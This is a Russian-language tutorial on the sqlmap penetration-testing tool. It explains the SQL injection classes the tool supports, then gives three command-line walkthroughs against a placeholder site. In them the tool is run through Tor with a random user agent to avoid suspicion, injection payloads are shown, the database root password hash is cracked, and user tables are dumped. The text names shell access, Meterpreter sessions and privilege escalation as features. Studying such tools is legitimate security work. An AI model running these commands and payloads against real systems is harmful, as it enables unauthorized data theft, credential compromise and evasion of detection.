Sqlmap: SQL-инъекции

Разработкой сканера занимаются два человека. Мирослав Штампар (@stamparm), профессиональный разработчик софта из Хорватии, и Бернардо Дамеле (@inquisb), консультант по ИБ из Италии, сейчас проживающий и работающий в Великобритании. Проект появился на свет в 2006 г. благодаря Даниэлю Беллучи (@belch), но по-настоящему стремительно стал развиваться после того, как в 2009 г. в работу включились Мирослав и Бернардо.

Итак, что такое sqlmap? Одна из мощнейших открытых утилит для пентестера, которая автоматизирует процесс поиска и эксплуатации SQL-инъекций с целью извлечения данных или захвата удаленного хоста. Что делает sqlmap отличным от других утилит для обнаружения SQL-инъекций, так это возможность эксплуатировать каждую найденную уязвимость. Это означает, что sqlmap способен не только находить «дырку», но еще и заюзать ее по полной программе.

А коль уж в качестве задачи ставится именно эксплуатация уязвимости, то сканеру приходится быть особенно внимательным к деталям: он не будет выдавать миллион ложных срабатываний «так, на всякий случай» (как это мы видим во многих других приложениях). Любая потенциальная уязвимость дополнительно проверяется на возможность эксплуатации.

Сканер из коробки идет с огромным функционалом, начиная от возможности определения системы управления базой данных (далее DBMS), создания дампа (копии) данных и заканчивая получением доступа к системе с возможностью обращаться к произвольным файлам на хосте и выполнять на сервере произвольные команды. И все-таки главное — это обнаружение возможности сделать инъекцию SQL-кода.

Какие уязвимости может находить SQLMAP?

Есть пять основных классов SQL-инъекций, и все их поддерживает sqlmap:

- **UNION query SQL injection**. Классический вариант внедрения SQL-кода, когда в уязвимый параметр передается выражение, начинающееся с «UNION ALL SECECT». Эта техника работает, когда веб-приложения напрямую возвращают результат вывода команды SELECT на страницу: с использованием цикла for или похожим способом, так что каждая запись полученной из БД выборки последовательно выводится на страницу. Sqlmap может также эксплуатировать ситуацию, когда возвращается только первая запись из выборки (Partial UNION query SQL injection).
- **Error-based SQL injection**. В случае этой атаки сканер заменяет или добавляет в уязвимый параметр синтаксически неправильное выражение, после чего парсит HTTP-ответ (заголовки и тело) в поиске ошибок DBMS, в которых содержалась бы заранее известная инъецированная последовательность символов и где-то «рядом» вывод на интересующий нас подзапрос. Эта техника работает только тогда, когда веб-приложение по каким-то причинам (чаще всего в целях отладки) раскрывает ошибки DBMS.
- **Stacked queries SQL injection**. Сканер проверяет, поддерживает ли веб-приложение последовательные запросы, и, если они выполняются, добавляет в уязвимый параметр HTTP-запроса точку с запятой (;) и следом внедряемый SQL-запрос. Этот прием в основном используется для внедрения SQL-команд, отличных от SELECT, например для манипуляции данными (с помощью INSERT или DELETE). Примечательно, что техника потенциально может привести к возможности чтения/записи из файловой системы, а также выполнению команд в ОС. Правда, в зависимости от используемой в качестве бэк-энда системы управления базами данных, а также пользовательских привилегий.
- **Boolean-based blind SQL injection**. Реализация так называемой слепой инъекции: данные из БД в «чистом» виде уязвимым веб-приложением нигде не возвращаются. Прием также называется дедуктивным. Sqlmap добавляет в уязвимый параметр HTTP-запроса синтаксически правильно составленное выражение, содержащее подзапрос SELECT (или любую другую команду для получения выборки из базы данных). Для каждого полученного HTTP-ответа выполняется сравнение headers/body страницы с ответом на изначальный запрос — таким образом, утилита может символ за символом определить вывод внедренного SQL-выражения. В качестве альтернативы пользователь может предоставить строку или регулярное выражение для определения «true»-страниц (отсюда и название атаки). Алгоритм бинарного поиска, реализованный в sqlmap для выполнения этой техники, способен извлечь каждый символ вывода максимум семью HTTP-запросами. В том случае, когда вывод состоит не только из обычных символов, сканер подстраивает алгоритм для работы с более

широким диапазоном символов (например для unicode’а).

- **Time-based blind SQL injection**. Полностью слепая инъекция. Точно так же как и в предыдущем случае, сканер «играет» с уязвимым параметром. Но в этом случае добавляет подзапрос, который приводит к паузе работы DBMS на определенное количество секунд (например, с помощью команд SLEEP() или BENCHMARK()). Используя эту особенность, сканер может посимвольно извлечь данные из БД, сравнивая время ответа на оригинальный запрос и на запрос с внедренным кодом. Здесь также используется алгоритм двоичного поиска. Кроме того, применяется специальный метод для верификации данных, чтобы уменьшить вероятность неправильного извлечения символа из-за нестабильного соединения.

Движок для определения SQL-уязвимостей — пускай и самая важная, но все-таки не единственная часть функционала sqlmap. И прежде чем показать работу сканера в действии, не могу хотя бы вкратце, но не рассказать о некоторых его фишках. Итак, в sqlmap реализовано:

- Извлечение имен пользователей, хешей их паролей, а также привилегий и полей.
- Автоматическое распознавание типа используемого хеша и возможность взлома его с помощью брутфорса по словарю.
- Получение списка баз данных, таблиц и столбцов.
- Возможность сделать полный или частичный дамп базы данных.
- Продвинутый механизм поиска баз, таблиц или даже столбцов (по всем базам сразу), что может быть полезно для определения таблиц с «интересными» данными вроде имен пользователей (users) или паролей (pass).
- Загрузка или, наоборот, закачка произвольных файлов на сервер, если уязвимое веб-приложение использует MySQL, MySQL, PostreSQL или Microsoft SQL Server.
- Выполнение произвольных команд и получение шелла, если на хосте используется одна из СУБД, перечисленных в предыдущем пункте.
- Поддержка прямого подключения к базе данных (без явного использования SQL-уязвимости) с использованием полученных в ходе атаки имени и пароля пользователя для доступа к DMBS, а также IP-адреса, порта и имени базы данных.
- Установка надежного TCP-соединения (так называемого out-ofband) между машиной пентестера и хостом, на котором запущен сервер баз данных. В качестве обертки для этого канала может стать интерактивная командная строка (шелл), сессия Meterpreter или доступ к удаленному рабочему столу через VNC-подключение.
- Повышение привилегий для процесса базы данных через команду getsystem Metasploit’а, которая, помимо прочих, реализует известную технику kitrap0d (MS10-015).

Сценарий № 1

Условимся, что мы хотим проэксплуатировать уязвимость, которая была найдена в GET-параметре «id» веб-страницы, расположенной по адресу http://www.site.com/vuln.php?id=1 (для указания URL будет ключ -u). Чтобы снизить подозрительную активность, мы будем маскироваться под обычный браузер (ключ —random-agent), а для подключения использовать защищенный канал TOR-сети (—tor). Итак, запускаем sqlmap:

```
$ python sqlmap.py -u "http://www.site.com/vuln.php?id=1"
--random-agent --tor
sqlmap/1.0-dev (r4365) — automatic SQL injection and database
takeover tool
```

Сканер определит несколько точек для выполнения инъекций в 17 HTTP(S)-запросах. Обрати внимание, что для каждой из них указывается тип, а также пэйлоад.

```
Place: GET
Parameter: id
Type: boolean-based blind
Title: AND boolean-based blind — WHERE or HAVING clause
Payload: id=1 AND 1826=1826
```

Type: error-based
Title: MySQL >= 5.0 AND error-based — WHERE or HAVING clause
Payload: id=1 AND (SELECT 8532 FROM(SELECT COUNT*(),CONCAT(CHAR(58,98,116,120,58), (SELECT (CASE WHEN (8532=8532) THEN 1 ELSE 0 END)),CHAR(58,98,121,102,58),FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)

Type: UNION query
Title: MySQL UNION query (NULL) — 3 columns
Payload: id=1 UNION ALL SELECT NULL, NULL, CONCAT(CHAR(58,98,116,120,58), IFNULL(CAST(CHAR(74,76,73,112,111,113,103,118,80,84) AS CHAR),CHAR(32)),CHAR(58,98,121,102,58))

Type: AND/OR time-based blind
Title: MySQL > 5.0.11 AND time-based blind
Payload: id=1 AND SLEEP(10)

Помимо этого, сканер выполнит распознавание базы данных, а также других технологий, использованных веб-приложением:

```
[02:01:45] [INFO] the back-end DBMS is MySQL
web application technology: PHP 5.2.6, Apache 2.2.9
back-end DBMS: MySQL 5.0
```

В конце концов полученные данные будут записаны в определенный файл:

```
[02:01:45] [INFO] Fetched data logged to text fi les under
'/opt/sqlmap/output/www.site.com'
```

Сценарий № 2

Теперь следующий пример. Предположим, что мы хотим устроить более детальный fingerprinting (-f) и получить текстовый баннер (—banner) системы управления базой данных, включая ее официальное название, номер версии, а также текущего пользователя (—current-user). Кроме того, нас будут интересовать сохраненные пароли (—passwords) вместе с именами таблиц (—tables), но не включая системные, (—exclude-sysdbs) — для всех содержащихся в СУБД баз данных. Нет проблем, запускаем сканер:

```
$ python sqlmap.py -u "http://www.site.com/vuln.php?id=1"
--random-agent --tor -f --banner --current-user --passwords
--tables --exclude-sysdbs
```

Очень скоро мы получим все данные об используемых технологиях, которые запрашивали:

```
[02:08:27] [INFO] fetching banner
[02:08:27] [INFO] actively fi ngerprinting MySQL
[02:08:27] [INFO] executing MySQL comment injection fi ngerprint
```

Error-based SQL injection web application technology: PHP 5.2.6, Apache 2.2.9
back-end DBMS: active fi ngerprint: MySQL >= 5.1.12 and < 5.5.0
comment injection fi ngerprint: MySQL 5.1.41
banner parsing fi ngerprint: MySQL 5.1.41
banner: ‘5.1.41-3~bpo50+1′

После — имя текущего пользователя:

```
[02:08:28] [INFO] fetching current user
current user: 'root@localhost'
```

Далее получаем хеши всех пользовательских паролей и выполняем брутфорс-атаку по словарю:

```
[02:08:28] [INFO] fetching database users password hashes
do you want to perform a dictionary-based attack against retrieved
password hashes? [Y/n/q] Y
[02:08:30] [INFO] using hash method 'mysql_passwd'
what dictionary do you want to use?
[02:08:32] [INFO] using default dictionary
[02:08:32] [INFO] loading dictionary from
'/opt/sqlmap/txt/wordlist.txt'
do you want to use common password suffi xes? (slow!) [y/N] N
[02:08:33] [INFO] starting dictionary-based cracking
(mysql_passwd)
[02:08:35] [INFO] cracked password 'testpass' for user 'root'
database management system users password hashes:
[] debian-sys-maint [1]:
password hash: *6B2C58EABD91C1776DA223B088B601604F898847
```

```
[] root [1]:
password hash: *00E247AC5F9AF26AE0194B41E1E769DEE1429A29
clear-text password: testpass
```

Опа! Для root’а мы быстро подобрали пароль (для примера он был очень простой). Пришло время сдампить интересующие нас данные:

```
[02:08:35] [INFO] fetching database names
[02:08:35] [INFO] fetching tables for databases:
information_schema, mysql, owasp10, testdb
[02:08:35] [INFO] skipping system databases: information_schema,
mysql
```

Database: owasp10
[3 tables]
+————————+
| accounts |
| blogs_table |
| hitlog |
+————————+
Database: testdb
[1 table]
+————————-+
| users |
+————————-+
[02:08:35] [INFO] Fetched data logged to text fi les under ‘/opt/sqlmap/output/www.site.com’

Сценарий № 3

Теперь, обнаружив в базе данных testdb-таблицу (-D testdb) с интересным именем «users» (-T users), мы, естественно, заходим заполучить ее содержимое себе (—dump). Но чтобы показать еще одну интересную опцию, не будем копировать все данные просто в файле, а реплицируем содержимое таблиц в основанную на файлах базу данных SQLite на локальной машине (—replicate).

```
$ python sqlmap.py -u "http://www.site.com/vuln.php?id=1"
--random-agent --tor --dump -D testdb -T users --replicate
```

Сканеру не составит труда определить названия столбцов для таблицы users и вытащить из нее все записи:

```
[02:11:26] [INFO] fetching columns for table 'users' on database
'testdb'
[02:11:26] [INFO] fetching entries for table 'users' on database
'testdb'
```

```
Database: testdb
Table: users
[4 entries]
+----+--------+------------+
| id | name   | surname    |
+----+--------+------------+
| 2  | fluffy | bunny      |
| 3  | wu     | ming       |
| 1  | luther | blissett   |
| 4  | NULL   | nameisnull |
+----+--------+------------+
[02:11:27] [INFO] Table 'testdb.users' dumped to sqlite3 file
```

Таким образом мы получим дамп базы данных в файле testdb.sqlite3 в формате SQLite. Фишка в том, что в при таком раскладе мы не только можем посмотреть данные, но еще и выполнить к ней любые запросы, заюзав возможности SQLite (например, с помощью программы SQLite Manager).